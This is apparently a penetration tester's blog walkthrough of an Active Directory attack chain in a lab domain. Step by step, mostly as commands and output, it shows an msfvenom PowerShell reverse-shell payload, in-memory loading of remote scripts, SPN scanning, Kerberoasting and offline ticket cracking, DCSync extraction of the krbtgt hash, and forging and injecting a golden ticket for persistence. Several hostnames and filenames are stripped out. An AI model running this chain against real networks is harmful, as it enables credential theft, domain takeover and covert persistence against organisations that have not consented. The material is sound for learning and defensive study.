kerberos, kerberoast and golden tickets

Active Directory is almost always in scope for many pentests. There is sometimes a competitive nature amongst pentesters where the challenge is to see who can set a new record for gaining Domain Administrative privileges the fastest. How sad its that?

The reality is, many times, the escalation processes is trivial. Pwn some workstation with admin creds, grab credentials out of lsass and pass the hash to move around laterally. This has been the typical breakfast of many pentesters. Heck, there are even attempts to automate this type of process because, personally, I feel its getting pretty old. Yet, its still very viable as an attack method due to its high success rate!

This post however tries to look at it from a little fresher perspective. There are many posts like this out there, but this one is mine. Mostly just a brain dump that I can refer to later. Many others have written this up (maybe even in greater detail), so definitely have a look around!

lets set the scene

Kerberos, a network authentication protocol that works off a ticketing type system is deeply baked into Active Directory. Of late, a lot more focus has been put on it by the offensive security community as you will see later in this post. I am not going to go into much (if any) of the technicalities of Kerberos itself as I feel there really is more than enough resources out there you can refer to! The below list references some great posts about the same topic I am writing about there:

For all of the attacks detailed here, I have a relatively simple setup in a lab. One (Server 2012) Domain Controller for the foo.local domain. Two client PCs joined to the domain running Windows 7 and Windows 10. Another IIS Web server running on Server 2012 Core also joined to the domain and Kali Linux ‘attacker’ on the same subnet as all of these Windows computers.

One key piece of the puzzle I am leaving out is how the initial shell was obtained. This could have happened a variety of ways and will probably always be different with every engagement. Lets just assume that I have a meterpreter shell as a non privileged domain user on the Windows 10 client PC.

One last bit of scene setting I think is important is to state the fact that we are going to try and be as quiet as possible now that we have the meterpreter shell up.

spn scanning - the setup

One of the avenues we can pursue now is to query Active Directory for objects that have a Service Principal Name set.

A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service. If you install multiple instances of a service on computers throughout a forest, each instance must have its own SPN.

Basically, what this means is that someone went and configured a SPN for a service account that is used by multiple by instances of a service. Each of the client PC’s in my lab are running an instance of SQL Server 2014 Express, configured to run with the svcSQLServ domain service account.

When a client wants to connect to a service, it locates an instance of the service, composes an SPN for that instance, connects to the service, and presents the SPN for the service to authenticate.

On my domain controller, I configured the SPN’s with the following commands:

PS C:\> setspn -A svcSQLServ/ foo\svcSQLServ
Checking domain DC=foo,DC=local

Registering ServicePrincipalNames for CN=SQL Server,OU=Service Accounts,DC=foo,DC=local
Updated object

PS C:\> setspn -A svcSQLServ/ foo\svcSQLServ
Checking domain DC=foo,DC=local

Registering ServicePrincipalNames for CN=SQL Server,OU=Service Accounts,DC=foo,DC=local
Updated object

spn scanning - the offensive perspective

Right, with the configuration done, lets put on our offensive hats and try and abuse this. I think one thing that one should realize is that this is a very nice way to get a free port scan done too. You will see in a moment. =]

Reading some posts and stuff online, I have found a PowerShell module that will prep the LDAP lookup and scan for SPNs for you here. The gist of it is this LDAP search (&(objectcategory=user)(serviceprincipalname=*)).

To use the powershell module, the easiest will be to get an interactive powershell session up and running. If you have ever tried this from meterpreter, you will know that if you try and spawn powershell.exe from a cmd shell, you will not get anywhere. Very frustrating. Its not impossible though! We are however going to go through the efforts of getting a working PowerShell session up as we will be using it extensively throughout this post.

setup a powershell connection

We can use the meterpreter session to get a powershell session. First, we will create a payload to execute as a script using the exec_powershell post module. In a new terminal, run msfvenom -p windows/powershell_reverse_tcp LHOST= LPORT=4445 -t raw:

root@kali:~# msfvenom -p windows/powershell_reverse_tcp LHOST= LPORT=4445 -t raw
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1727 bytes
�8�u�}�;}$u�X�X$�f�Y ӋI�:I�4��1����
���u�GrojS��powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $($s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIABX0kF ... snip ... AAA='));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();)

This will give you the raw payload you need to run to get a remote powershell shell. Copy the output from IEX all the way to ReadToEnd();) and paste that in a new file (I used /root/power-shell.ps1).

Now, back at your metasploit session, background the meterpreter session and setup a new exploit/multi/handler for the windows/powershell_reverse_tcp payload. When you issue the exploit command, add -j so that the job will run in the background as we have one more thing to do before it will connect back.

Fantastic. We are ready to accept the powershell connection! The last thing left to do is to execute the script we generated earlier with msfvenom! Use the exec_powershell post module and configure it to pickup the script where ever you placed it on disk:

With the module configured to use the meterpreter session we originally got, as well as our exploit handler waiting in the background for the powershell connection, we issue the run command and hope it works!

Powershell session session 3 opened

Ok, that was a lot of work, but now we have the environment we need to get on with the SPN scanning! Simply interact with the session that spawned.

The next thing we want to do is get the Find-PSServiceAccounts PowerShell function into the environment. The script lives here. Thankfully, we can kind of include functions into the current session by using the powershell Invoke-Expression cmdlet for a new Net.WebClient object. To do that we run:

Invoke-Expression (New-Object Net.Webclient).downloadstring('')

Thats it. We can now just run the method!!

We have just discovered the service account svcSQLServ and 2 hosts there it is in use! The script also accepts a few arguments, such as -DumpSPN:

PS C:\> Find-PSServiceAccounts -DumpSPN
Discovering service account SPNs in the AD Domain foo.local
PS C:\Users\bobs\Downloads>

This is the part where I remind you about the free port scan I mentioned earlier. Notice how we have discovered services, ports and accounts running them using just a LDAP query. I highly doubt that will trigger many monitoring tools out there!

kerberos service tickets

We now have 2 SPN’s that we managed to query off the domain. svcSQLServ/ & svcSQLServ/ In order for clients to be able to authenticate to the services running as this user via kerberos, they would typically go through the process of requesting a service ticket.

This is where you need to pay attention. The service ticket is encrypted using the secret key (read, ‘password’) of the account used in the SPN (svcSQLServ in this case)! The server never checks if the ticket ever went through the entire process of actually being used, it just happily generates them for whoever asks… Note, the server hosting the service will still validate the ticket itself (99% of the time without rechecking the ticket with the Kerberos server).

What does that mean for an attacker? Well, we can request the service ticket… and… attempt to decrypt it by brute forcing it offline! If the decryption is successful, then we have successfully compromised a service account.

enter kerberoast

Kerberoast is a tool that can amongst other things, crack Kerberos ticket passwords. The general idea is that we get the SPN’s (like we did), request kerberos service tickets for them, dump the ticket out of memory and send it to the script to crack against a wordlist.

All of this can be done as a normal domain user and does not require any elevated privileges. To assist us in dumping kerberos tickets out of memory, we are going to load mimikatz by using Invoke-Mimikatz (from the PowerSploit Repository). This method has a very small to no chance of getting detected by AV atm. Lets get that loaded:

PS C:\> Invoke-Expression (New-Object Net.Webclient).downloadstring('')
PS C:\> Invoke-Mimikatz

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( )
 '## v ##'             (oe.eo)
  '#####'                                     with 17 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz(powershell) # exit

Just running Invoke-Mimikatz might not be entirely opsec safe as, by default, it will run the sekurlsa::logonpasswords command (which may trigger some monitoring). You may have also noticed the LOAD_MODULES setting in the windows/powershell_reverse_tcp payload. Here we can actually give it the URL’s we are going to load with Invoke-Expression and metasploit will download and prep that for you! :)

Anyways, lets check the current cached kerberos tickets that we have for this session.

PS C:\> Invoke-Mimikatz -Command '"kerberos::list"'

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Dec 14 2015 19:16:34)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( )
 '## v ##'             (oe.eo)
  '#####'                                     with 17 modules * * */

mimikatz(powershell) # kerberos::list

PS C:\>

Looks like there are no cached Kerberos tickets for this session. This can also be checked by running the klist command:

PS C:\> klist

Current LogonId is 0:0x3fde2

Cached Tickets: (0)
PS C:\>

If you had tickets here, you can purge them from memory by running Invoke-Mimikatz -Command '"kerberos::purge"'. Lets request a service ticket for the svcSQLServ/ SPN (The command syntax can be seen in the Kerberoast repository):

PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "svcSQLServ/"

Id                   : uuid-33208c1c-6f30-441f-af50-94ba72a2ed7b-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 1/9/2016 7:29:11 PM
ValidTo              : 1/10/2016 5:29:11 AM
ServicePrincipalName : svcSQLServ/
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

PS C:\>

If you wanted to get tickets for all of the possible SPN’s, we could have run the below command that will loop over the results from Find-PSServiceAccounts and request a ticket for each:

PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> Find-PSServiceAccounts -DumpSPNs | ForEach-Object { New-Object System.Identity Model.Tokens.KerberosRequestorSecurityToken -ArgumentList $_ }

Now, if we recheck the tickets we have for this session, we can see that we have one for svcSQLServ:

dumping kerberos tickets from memory

Remember, all of the actions performed thus far have been as a normal AD user with no special privileges. With the tickets now in memory, we can dump them to a file using mimikatz again. The mimikatz command we will use for this is kerberos::list /export: is the Kerberos ticket dumped to disk! We can now transfer this to some place where we have Kerberoast downloaded and start cracking it! :D

cracking the kerberos ticket

Back at my meterpreter session, we can simply download the ticket locally, and start the crack. allows you to specify tickets with a wildcard, so it will run the wordlist recursively over all of the tickets in a directory.

So download the ticket…

meterpreter > cd downloads/kerb
meterpreter > ls
Listing: C:\users\bobs\downloads\kerb

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  1260  fil   2016-01-09 14:35:09 -0500  0-40e10000-bobs@krbtgt~FOO.LOCAL-FOO.LOCAL.kirbi
100666/rw-rw-rw-  1364  fil   2016-01-09 14:35:09 -0500

meterpreter > download /root/
[*] downloading: -> /root//
[*] download   : -> /root//

… and crack it!

root@kali:~/kerberoast# python /usr/share/wordlists/fasttrack.txt /root/
found password for ticket 0: Password1  File: /root/
All tickets cracked!

Password1 is the password for the svcSQLServ account! \o/

One reason why having the password for this account is especially bad is because of its group memberships… Yes, I know. You may not easily see this in real life, but just bear with me for now.

PS C:\> net user svcSQLServ /domain
The request will be processed at a domain controller for domain foo.local.

User name                    svcSQLServ
Full Name                    SQL Server
Comment                      SQL Server Serice Account
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/7/2016 11:38:02 PM
Password expires             Never
Password changeable          1/8/2016 11:38:02 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/9/2016 10:33:41 AM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.

PS C:\>

testing the credentials

For a bit of fun, lets test the credentials we just got using PowerShell Remoting. PowerShell Remoting is on by default on Server 2012 I believe.

We will start by configuring a credentials object, and then just run the Get-Process cmdlet on the domain controller as proof.

$pass = 'Password1' | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'svcSQLServ', $pass
Invoke-Command -ScriptBlock {get-process} -ComputerName dc1 -Credential $creds

With output…

So, we popped a service account with waaaay too much permissions and a crappy password. All that as a normal AD user…

golden tickets

We have domain administrative rights now. There is nothing left to do, we can write the pentest report and go home. Or can we? Well yes, but what if the password to svcSQLServ changes? That would mean we lose access! One way we can prevent this is by creating a golden ticket that we can re-use to grant ourselves whatever permission we like, as any user we like! Sounds great eh :D

To create a golden ticket, we can use either the kiwi extension in metasploit, or Invoke-Mimikatz again! There are however a few prerequisites that we need to satisfy for golden tickets. The most important being that we need at least the NT hash of the krbtgt user of the domain. Without that, this is not a viable persistence strategy.

The complete list of prerequisites are:

Getting the FQDN and SID (whoami /user) of the Domain should be relatively trivial. Remember to grab the SID without the trailing RID. So if the full SID is S-1-5-21-2222611480-1876485831-1594900117-1104 then you are only going to use S-1-5-21-2222611480-1876485831-1594900117.

Getting the NT Hash of the krbtgt account though is something I want to show using a recent feature addition to mimikatz, DCSync. The gist of it is that its possible to extract hashes from a Domain Controller (using a domain admin type account), without actually running any code on the Domain Controller itself! This is of course not the only way to get the required hash. Many of the older techniques work just fine. But, from a DCSync perspective, it essentially means hash extraction from any PC on the domain (authenticated as a admin), by ‘faking’ being a Domain Controller and triggering some replication-fu! In my case, I struggled a little to get this replication done from a client PC in the lab via the metasploit interactive PowerShell session, but could do it successfully from a client PC via the console. So, its definitely possible!

In this case, to use the DCSync feature of mimikatz, I am going to use PowerShell Remoting to run commands. Unfortunately, due to the way Enter-PSSession sets up the shell, I can’t seem to get an interactive shell as another user going without using another exploit && payload combination. So, we are just going to use Invoke-Command with our commands.

PS C:\> $creds

UserName                       Password
--------                       --------
svcSQLServ System.Security.SecureString

PS C:\> Invoke-Command -ScriptBlock {Write-Output $env:username} -Credential $creds -ComputerName dc1

Great so that works. To continue, we are going to have to run a few commands:

I constructed my command that needed to be run on my PowerShell session and ended up with this:

Invoke-Command -ScriptBlock {Invoke-Expression (New-Object Net.Webclient).downloadstring('');Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'} -Credential $creds -ComputerName dc1

Let me try explain what is going on here. I am saying, Invoke-Command on the computer dc1 as svcSQLServ (stored in the $creds variable) using PowerShell Remoting. The command to run is defined in the ScriptBlock {} which is i) download mimikatz ii) run Invoke-Mimikatz with the lsadump::dcsync /user:krbtgt command.

We have the hash for krbtgt! 95a11f7d93fa3a5a61073662e6bd8468 : D That means I have everything I need to create a golden ticket, with all the access in the world! To summarize, my prerequisites are satisfied with the following values:

creating the golden ticket

Creating the golden ticket is now a really simple task. We will simply call Invoke-Mimikatz again to generate the ticket. It will be saved to disk when it is generated. Thereafter, we will purge all the tickets we have for the session, and inject the golden ticket and test our access!

For details about the command and arguments required, I referred to the mimikatz wiki and replicated that. Our command should look something like the below, saving our golden ticket to golden.tck with access to a few builtin Windows Groups:

kerberos::golden /user:darthvader /domain:foo.local /sid:S-1-5-21-2222611480-1876485831-1594900117 /krbtgt:95a11f7d93fa3a5a61073662e6bd8468 /ticket:golden.tck /groups:501,502,513,512,520,518,519

Running this mimikatz command with Invoke-Mimikatz gets us our Golden Ticket:

injecting the golden ticket

The final test is to use this ticket. For that, we will purge all Kerberos tickets in memory and inject the new golden ticket. Thereafter we will test if we can read the administrative c$ share of the Domain Controller!

Lets purge the currently cached Kerberos tickets first:

PS C:\users\bobs\downloads\golden> Invoke-Mimikatz -Command '"kerberos::purge"'

[... snip ...]

mimikatz(powershell) # kerberos::purge
Ticket(s) purge for current session is OK

Next, we inject the golden ticket we created using the mimikatz kerberos::ptt command to ‘Pass The Ticket’:

After the ticket is injected into memory, we can verify its existence with the mimikaz kerberos::list command, or just using klist. Once it is injected, we dir the Domain Controllers c$ share… an smile. The password for scvSQLServ can now change, it will no longer bother us!


In this post we saw how it is possible to ‘crack’ badly passworded and configured service accounts by querying for accounts by Service Principal Names. Those SPN’s were then used to request Service Tickets from the Domain Controller, extracted from memory and cracked offline. All of that as a normal domain user.

Then, we explored how it is possible to extract Domain Account hashes using the mimikatz DCSync feature and generate a Kerberos Golden Ticket with high access levels in the domain.

I think there is still a loooong road ahead for the Microsoft Kerberos Implementations… Until they ‘fix’ this stuff, things should remain interesting for quite some time to come.

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